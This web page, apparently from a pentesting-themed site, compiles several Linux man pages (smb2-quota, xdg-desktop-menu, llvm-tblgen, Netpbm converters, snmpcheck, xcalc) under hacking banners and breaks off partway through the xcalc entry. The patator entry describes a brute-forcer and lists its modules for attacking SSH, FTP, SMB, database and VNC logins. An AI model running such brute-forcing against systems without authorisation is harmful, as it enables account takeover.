COPYRIGHT

Copyright 2017-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

764 - Linux cli command smb2-quota

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smb2-quota and provides detailed information about the command smb2-quota, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smb2-quota.

NAME 🖥️ smb2-quota 🖥️

quota - Userspace helper to display quota information for the Linux SMB client file system (CIFS)

SYNOPSIS

smb2-quota [-h] {options} {file system object}

DESCRIPTION

This tool is part of the cifs-utils suite.

smb2-quota is a userspace helper program for the Linux SMB client file system (CIFS).

This tool works by making an CIFS_QUERY_INFO IOCTL call to the Linux SMB client which in turn issues a SMB Query Info request and returns the result.

OPTIONS

–help/-h: Print help explaining the command line options.

–tabular/-t: Print quota information for the volume in tabular format. Amount Used | Quota Limit | Warning Level | Percent Used | Status | SID

–csv/-c: Print quota information for the volume in csv format. SID,Amount Used,Quota Limit,Warning Level

–list/-l: Print quota information for the volume in raw format. - SID - Quota Used - Quota Threshold - Quota Limit

–tabular/-t is the default action if none is given.

NOTES

Kernel support for smb2-quota requires the CIFS_QUERY_INFO IOCTL which was initially introduced in the 4.20 kernel and is only implemented for mount points using SMB2 or above (see mount.cifs(8) vers option).

SEE ALSO

smbinfo(1)

AUTHOR

Kenneth D’souza <[email protected]>

The Linux CIFS Mailing list is the preferred place to ask questions regarding these programs.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

765 - Linux cli command xdg-desktop-menu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-desktop-menu and provides detailed information about the command xdg-desktop-menu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-desktop-menu.

NAME 🖥️ xdg-desktop-menu 🖥️

desktop-menu - command line tool for (un)installing desktop menu items

SYNOPSIS

xdg-desktop-menu install [–noupdate] [–novendor] [–mode mode] directory-file(s) desktop-file(s)

xdg-desktop-menu uninstall [–noupdate] [–mode mode] directory-file(s) desktop-file(s)

xdg-desktop-menu forceupdate [–mode mode]

xdg-desktop-menu {–help | –manual | –version}

DESCRIPTION

The xdg-desktop-menu program can be used to install new menu entries to the desktops application menu.

The application menu works according to the XDG Desktop Menu Specification at http://www.freedesktop.org/wiki/Specifications/menu-spec

COMMANDS

install

Install one or more applications in a submenu of the desktop menu system.

desktop-file: A desktop file represents a single menu entry in the menu. Desktop files are defined by the freedesktop.org Desktop Entry Specification. The most important aspects of *.desktop files are summarized below.

Menu entries can be added to the menu system in two different ways. They can either be added to a predefined submenu in the menu system based on one or more category keywords, or they can be added to a new submenu.

To add a menu entry to a predefined submenu the desktop file that represents the menu entry must have a Categories= entry that lists one or more keywords. The menu item will be included in an appropriate submenu based on the included keywords.

To add menu items to a new submenu the desktop-files must be preceded by a directory-file that describes the submenu. If multiple desktop-files are specified, all entries will be added to the same menu. If entries are installed to a menu that has been created with a previous call to xdg-desktop-menu the entries will be installed in addition to any already existing entries.

directory-file: The *.directory file indicated by directory-file represents a submenu. The directory file provides the name and icon for a submenu. The name of the directory file is used to identify the submenu.

If multiple directory files are provided each file will represent a submenu within the menu that precedes it, creating a nested menu hierarchy (sub-sub-menus). The menu entries themselves will be added to the last submenu.

Directory files follow the syntax defined by the freedesktop.org Desktop Entry Specification.

uninstall

Remove applications or submenus from the desktop menu system previously installed with xdg-desktop-menu install.

A submenu and the associated directory file is only removed when the submenu no longer contains any menu entries.

forceupdate

Force an update of the menu system.

This command is only useful if the last call to xdg-desktop-menu included the –noupdate option.

OPTIONS

–noupdate

Postpone updating the menu system. If multiple updates to the menu system are made in sequence this flag can be used to indicate that additional changes will follow and that it is not necessary to update the menu system right away.

–novendor

Normally, xdg-desktop-menu checks to ensure that any *.directory and *.desktop files to be installed has a vendor prefix. This option can be used to disable that check.

A vendor prefix consists of alpha characters ([a-zA-Z]) and is terminated with a dash ("-"). Companies and organizations are encouraged to use a word or phrase, preferably the organizations name, for which they hold a trademark as their vendor prefix. The purpose of the vendor prefix is to prevent name conflicts.

–mode mode

mode can be user or system. In user mode the file is (un)installed for the current user only. In system mode the file is (un)installed for all users on the system. Usually only root is allowed to install in system mode.

The default is to use system mode when called by root and to use user mode when called by a non-root user.

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

DESKTOP FILES

An application item in the application menu is represented by a *.desktop file. A *.desktop file consists of a [Desktop Entry] header followed by several Key=Value lines.

A *.desktop file can provide a name and description for an application in several different languages. This is done by adding a language code as used by LC_MESSAGES in square brackets behind the Key. This way one can specify different values for the same Key depending on the currently selected language.

The following keys are often used:

Type=Application

This is a mandatory field that indicates that the *.desktop file describes an application launcher.

Name=Application Name

The name of the application. For example Mozilla

GenericName=Generic Name

A generic description of the application. For example Web Browser

Comment=Comment

Optional field to specify a tooltip for the application. For example Visit websites on the Internet

Icon=Icon File

The icon to use for the application. This can either be an absolute path to an image file or an icon-name. If an icon-name is provided an image lookup by name is done in the users current icon theme. The xdg-icon-resource command can be used to install image files into icon themes. The advantage of using an icon-name instead of an absolute path is that with an icon-name the application icon can be provided in several different sizes as well as in several differently themed styles.

Exec=Command Line

The command line to start the application. If the application can open files the %f placeholder should be specified. When a file is dropped on the application launcher the %f is replaced with the file path of the dropped file. If multiple files can be specified on the command line the %F placeholder should be used instead of %f. If the application is able to open URLs in addition to local files then %u or %U can be used instead of %f or %F.

Categories=Categories

A list of categories separated by semi-colons. A category is a keyword that describes and classifies the application. By default applications are organized in the application menu based on category. When menu entries are explicitly assigned to a new submenu it is not necessary to list any categories.

When using categories it is recommended to include one of the following categories: AudioVideo, Development, Education, Game, Graphics, Network, Office, Settings, System, Utility.

See Appendix A of the XDG Desktop Menu Specification for information about additional categories: http://standards.freedesktop.org/menu-spec/menu-spec-1.0.html#category-registry

MimeType=Mimetypes

A list of mimetypes separated by semi-colons. This field is used to indicate which file types the application is able to open.

For a complete overview of the *.desktop file format please visit http://www.freedesktop.org/wiki/Specifications/desktop-entry-spec

DIRECTORY FILES

The appearance of submenu in the application menu is provided by a *.directory file. In particular it provides the title of the submenu and a possible icon. A *.directory file consists of a [Desktop Entry] header followed by several Key=Value lines.

A *.directory file can provide a title (name) for the submenu in several different languages. This is done by adding a language code as used by LC_MESSAGES in square brackets behind the Key. This way one can specify different values for the same Key depending on the currently selected language.

The following keys are relevant for submenus:

Type=Directory

This is a mandatory field that indicates that the *.directory file describes a submenu.

Name=Menu Name

The title of submenu. For example Mozilla

Comment=Comment

Optional field to specify a tooltip for the submenu.

Icon=Icon File

The icon to use for the submenu. This can either be an absolute path to an image file or an icon-name. If an icon-name is provided an image lookup by name is done in the users current icon theme. The xdg-icon-resource command can be used to install image files into icon themes. The advantage of using an icon-name instead of an absolute path is that with an icon-name the submenu icon can be provided in several different sizes as well as in several differently themed styles.

ENVIRONMENT VARIABLES

xdg-desktop-menu honours the following environment variables:

XDG_UTILS_DEBUG_LEVEL

Setting this environment variable to a non-zero numerical value makes xdg-desktop-menu do more verbose reporting on stderr. Setting a higher value increases the verbosity.

XDG_UTILS_INSTALL_MODE

This environment variable can be used by the user or administrator to override the installation mode. Valid values are user and system.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

5

No permission to read one of the files passed on the command line.

SEE ALSO

xdg-desktop-icon(1), xdg-icon-resource(1), xdg-mime(1), Desktop entry specification[1], Desktop menu specification[2]

EXAMPLES

The company ShinyThings Inc. has developed an application named “WebMirror” and would like to add it to the application menu. The company will use “shinythings” as its vendor id. In order to add the application to the menu there needs to be a .desktop file with a suitable Categories entry:

shinythings-webmirror.desktop:

  [Desktop Entry]
  Encoding=UTF-8
  Type=Application

  Exec=webmirror
  Icon=webmirror

  Name=WebMirror
  Name[nl]=WebSpiegel

  Categories=Network;WebDevelopment;

Now the xdg-desktop-menu tool can be used to add the shinythings-webmirror.desktop file to the desktop application menu:

xdg-desktop-menu install ./shinythings-webmirror.desktop

Note that for the purpose of this example the menu items are available in two languages, English and Dutch. The language code for Dutch is nl.

In the next example the company ShinyThings Inc. will add its own submenu to the desktop application menu consisting of a “WebMirror” menu item and a “WebMirror Admin Tool” menu item.

First the company needs to create two .desktop files that describe the two menu items. Since the items are to be added to a new submenu it is not necessary to include a Categories= line:

shinythings-webmirror.desktop:

  [Desktop Entry]
  Encoding=UTF-8
  Type=Application

  Exec=webmirror
  Icon=shinythings-webmirror

  Name=WebMirror
  Name[nl]=WebSpiegel


shinythings-webmirror-admin.desktop:

  [Desktop Entry]
  Encoding=UTF-8
  Type=Application

  Exec=webmirror-admintool
  Icon=shinythings-webmirror-admintool

  Name=WebMirror Admin Tool
  Name[nl]=WebSpiegel Administratie Tool

In addition a .directory file needs to be created to provide a title and icon for the sub-menu itself:

shinythings-webmirror.directory:

  [Desktop Entry]
  Encoding=UTF-8

  Icon=shinythings-webmirror-menu

  Name=WebMirror
  Name[nl]=WebSpiegel

These file can now be installed with:

xdg-desktop-menu install ./shinythings-webmirror.directory
./shinythings-webmirror.desktop ./shinythings-webmirror-admin.desktop

The menu entries could also be installed one by one:

xdg-desktop-menu install –noupdate ./shinythings-webmirror.directory
./shinythings-webmirror.desktop xdg-desktop-menu install –noupdate ./shinythings-webmirror.directory
./shinythings-webmirror-admin.desktop xdg-desktop-menu forceupdate

Although the result is the same it is slightly more efficient to install all files at the same time.

The *.desktop and *.directory files reference icons with the names webmirror, webmirror-admin and webmirror-menu which should also be installed. In this example the icons are installed in two different sizes, once with a size of 22x22 pixels and once with a size of 64x64 pixels:

xdg-icon-resource install –size 22 ./wmicon-22.png shinythings-webmirror xdg-icon-resource install –size 22 ./wmicon-menu-22.png shinythings-webmirror-menu xdg-icon-resource install –size 22 ./wmicon-admin-22.png shinythings-webmirror-admin xdg-icon-resource install –size 64 ./wmicon-64.png shinythings-webmirror xdg-icon-resource install –size 64 ./wmicon-menu-64.png shinythings-webmirror-menu xdg-icon-resource install –size 64 ./wmicon-admin-64.png shinythings-webmirror-admin

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

Desktop entry specification

http://www.freedesktop.org/wiki/Specifications/desktop-entry-spec/

Desktop menu specification

http://www.freedesktop.org/wiki/Specifications/menu-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

766 - Linux cli command llvm-tblgen-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-tblgen-17 and provides detailed information about the command llvm-tblgen-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-tblgen-17.

NAME 🖥️ llvm-tblgen-17 🖥️

tblgen - Target Description to C++ Code for LLVM

SYNOPSIS

llvm-tblgen [options] [filename]

DESCRIPTION

llvm-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

767 - Linux cli command patator

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command patator and provides detailed information about the command patator, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the patator.

NAME 🖥️ patator 🖥️

multi-purpose brute-forcer

SYNOPSIS

patator.py module –help

DESCRIPTION

Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.

Available modules:

+ ftp_login
Brute-force FTP

+ ssh_login
Brute-force SSH

+ telnet_login
Brute-force Telnet

+ smtp_login
Brute-force SMTP

+ smtp_vrfy
Enumerate valid users using SMTP VRFY

+ smtp_rcpt
Enumerate valid users using SMTP RCPT TO

+ finger_lookup
Enumerate valid users using Finger

+ http_fuzz
Brute-force HTTP

+ pop_login
Brute-force POP3

+ pop_passd
Brute-force poppassd (http://netwinsite.com/poppassd/)

+ imap_login
Brute-force IMAP4

+ ldap_login
Brute-force LDAP

+ dcom_login
Brute-force DCOM

+ smb_login
Brute-force SMB

+ smb_lookupsid
Brute-force SMB SID-lookup

+ rlogin_login
Brute-force rlogin

+ vmauthd_login
Brute-force VMware Authentication Daemon

+ mssql_login
Brute-force MSSQL

+ oracle_login
Brute-force Oracle

+ mysql_login
Brute-force MySQL

+ mysql_query
Brute-force MySQL queries

+ pgsql_login
Brute-force PostgreSQL

+ vnc_login
Brute-force VNC

+ dns_forward
Forward lookup names

+ dns_reverse
Reverse lookup subnets

+ snmp_login
Brute-force SNMP v1/2/3

+ unzip_pass
Brute-force the password of encrypted ZIP files

+ keystore_pass
Brute-force the password of Java keystore files

+ umbraco_crack
Crack Umbraco HMAC-SHA1 password hashes

+ tcp_fuzz
Fuzz TCP services

+ dummy_test
Testing module

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

768 - Linux cli command ppmtopj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopj and provides detailed information about the command ppmtopj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopj.

.

NAME 🖥️ ppmtopj 🖥️

convert a PPM image to an HP PaintJet file

SYNOPSIS

ppmtopj

[-gamma val]

[-xpos val]

[-ypos val]

[-back {dark|lite}]

[-rle]

[-center]

[-render { none | snap | bw | dither | diffuse | monodither | monodiffuse | clusterdither | monoclusterdither }]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopj reads a PPM image as input and converts it into a format suitable to be printed by an HP PaintJet printer.

For best results, the input file should be in 8-color RGB form; i.e. it should have only the 8 binary combinations of full-on and full-off primaries. You could convert your input to this format like this:

    pamseq 3 1 testimg.ppm >8color.pam
    pnmremap -map 8color.pam testimg.pam | ppmtopj

Or you could use

    ppmdither -red 2 -green 2 -blue 2

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtopj recognizes the following command line options:

-rle
Run length encode the image. (This can result in larger images)

-back
Enhance the foreground by indicating if the background is light or dark compared to the foreground.

-render alg
Use an internal rendering algorithm (default dither).

-gamma int
Gamma correct the image using the integer int as a gamma (default 0).

-center
Center the image to an 8.5 by 11 page

-xpos pos
Move by pos pixels in the x direction.

-ypos pos
Move by pos pixels in the y direction.

SEE ALSO

HP PaintJet XL Color Graphics Printer User’s Guide, pnmtopclxl(1) , pjtoppm(1) , pamdepth(1) , pnmremap(1) , pamseq(1) , ppmdither(1) , pbmtolj(1) , ppmtolj(1) , ppmtopjxl(1) , thinkjettopbm(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Christos Zoulas.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopj.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

769 - Linux cli command hdifftopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hdifftopam and provides detailed information about the command hdifftopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hdifftopam.

.

NAME 🖥️ hdifftopam 🖥️

convert horizontal difference image to original PAM image

SYNOPSIS

hdifftopam[pamfile] [-pnm] [-verbose]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

hdifftopam undoes what pamtohdiff does.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), hdifftopam recognizes the following command line options:

-pnm
This option tells hdifftopam to create a PNM image (i.e. PGM or PPM). Without it, hdifftopam creates a PAM image (with a tuple type of “unhdiff”). If the PAM does not have the proper depth to be a PGM or PPM (i.e. 1 or 3) and you specify -pnm, hdifftopam fails.

-verbose
Print output image width, height, depth and maxval to standard error.

SEE ALSO

pamtohdiff(1)

AUTHOR

Bryan Henderson

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/hdifftopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

770 - Linux cli command snmpcheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpcheck and provides detailed information about the command snmpcheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpcheck.

NAME 🖥️ snmpcheck 🖥️

check hosts SNMP access

SYNOPSIS

snmpcheck [options] [[-a] HOSTS]…

DESCRIPTION

snmpcheck is a program that checks the SNMP status of the specified hosts

OPTIONS

Common Options

-h
Display this message.

-a
check error log file AND hosts specified on command line.

-p
Don’t try and ping-echo the host first

-f
Only check for things I can fix

HOSTS
check these hosts for problems.

X Options:

-x
forces ascii base if $DISPLAY set (instead of tk).

-H
start in hidden mode. (hides user interface)

-V* NUM*
sets the initial verbosity level of the command log (def: 1)

-L
Show the log window at startup

-d
Don’t start by checking anything. Just bring up the interface.

Ascii Options:

-n
Don’t ever try and fix the problems found. Just list.

-y
Always fix problems found.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

771 - Linux cli command xcalc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xcalc and provides detailed information about the command xcalc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xcalc.

NAME 🖥️ xcalc 🖥️

scientific calculator for X

SYNOPSIS

xcalc [-stipple] [-rpn] [-toolkitoption...]
xcalc -version
xcalc -help

DESCRIPTION

xcalc is a scientific calculator desktop accessory that can emulate a TI-30 or an HP-10C.

OPTIONS

xcalc accepts all of the standard toolkit command line options along with these additional options:

-stipple
This option indicates that the background of the calculator should be drawn using a stipple of the foreground and background colors. On monochrome displays improves the appearance.

-rpn
This option indicates that Reverse Polish Notation should be used. In this mode the calculator will look and behave like an HP-10C. Without this flag, it will emulate a TI-30.

-help
This option indicates that xcalc should print its usage message and exit.

-version
This option indicates that xcalc should print its version and exit.

OPERATION

Pointer Usage: Operations may be performed with pointer button 1, or in some cases, with the keyboard. Many common calculator operations have keyboard accelerators. To quit, press pointer button 3 on the AC key of the TI calculator, or the ON key of the HP calculator.

Calculator Key Usage (TI mode): The numbered keys, the +/- key, and the +, -, *, /, and = keys all do exactly what you would expect them to. It should be noted that the operators obey the standard rules of precedence. Thus, entering “3+4*5=” results in “23”, not “35”. The parentheses can be used to override this. For example, “(1+2+3)*(4+5+6)=” results in “6*15=90”.

The entire number in the calculator display can be selected, in order to paste the result of a calculation into text.

The action procedures associated with each function are given below. These are useful if you are interested in defining a custom calculator. The action used for all digit keys is digit(n), where n is the corresponding digit, 0..9.

1/x
Replaces the number in the display with its reciprocal. The corresponding action procedure is reciprocal().

x^2
Squares the number in the display. The corresponding action procedure is square().

SQRT
Takes the square root of the number in the display. The corresponding action procedure is squareRoot().

CE/C
When pressed once, clears the number in the display without clearing the state of the machine. Allows you to re-enter a number if you make a mistake. Pressing it twice clears the state, also. The corresponding action procedure for TI mode is clear().

AC
Clears the display, the state, and the memory. Pressing it with the third pointer button turns off the calculator, in that it exits the program. The action procedure to clear the state is off(); to quit, quit().

INV
Invert function. See the individual function keys for details. The corresponding action procedure is inverse().

sin
Computes the sine of the number in the display, as interpreted by the current DRG mode (see DRG, below). If inverted, it computes the arcsine. The corresponding action procedure is sine().

cos
Computes the cosine, or arccosine when inverted. The corresponding action procedure is cosine().

tan
Computes the tangent, or arctangent when inverted. The corresponding action procedure is tangent().

DRG
Changes the DRG mode, as indicated by ‘DEG’, ‘RAD’, or ‘GRAD’ at the bottom of the calculator ``liquid crystal’’ display. When in ‘DEG’ mode, numbers in the display are taken as being degrees. In ‘RAD’ mode, numbers are in radians, and in ‘GRAD’ mode, numbers are in grads. When inverted, the DRG key has a feature of converting degrees to radians to grads and vice-versa. Example: put the calculator into ‘DEG’ mode, and enter “45 INV DRG”. The display should now show something along the lines of “.785398”, which is 45 degrees converted to radians. The corresponding action procedure is degree().

e
The constant ’e’. (2.7182818…). The corresponding action procedure is e().

EE
Used for entering exponential numbers. For example, to get “-2.3E-4” you’d enter “2 . 3 +/- EE 4 +/-”. The corresponding action procedure is scientific().

log
Calculates the log (base 10) of the number in the display. When inverted, it raises “10.0” to the number in the display. For example, entering “3 INV log” should result in “1000”. The corresponding action procedure is logarithm().

ln
Calculates the log (base e) of the number in the display. When inverted, it raises “e” to the number in the display. For example, entering “e ln” should result in “1”. The corresponding action procedure is naturalLog().

y^x
Raises the number on the left to the power of the number on the right. For example “2 y^x 3 =” results in “8”, which is 2^3. For a further example, “(1+2+3) y^x (1+2) =” equals “6 y^x 3” which equals “216”. The corresponding action procedure is power().

not
Performs a bitwise not. The corresponding action procedure is not().

and
Performs a bitwise and. The corresponding action procedure is and().

or
Performs a bitwise or. The corresponding action procedure is or().

xor
Performs a bitwise exclusive or. The corresponding action procedure is xor().

trunc
Truncates the number in the display to an integer. The corresponding action procedure is trunc().

PI
The constant ‘pi’. (3.1415927….) The corresponding action procedure is pi().

x!
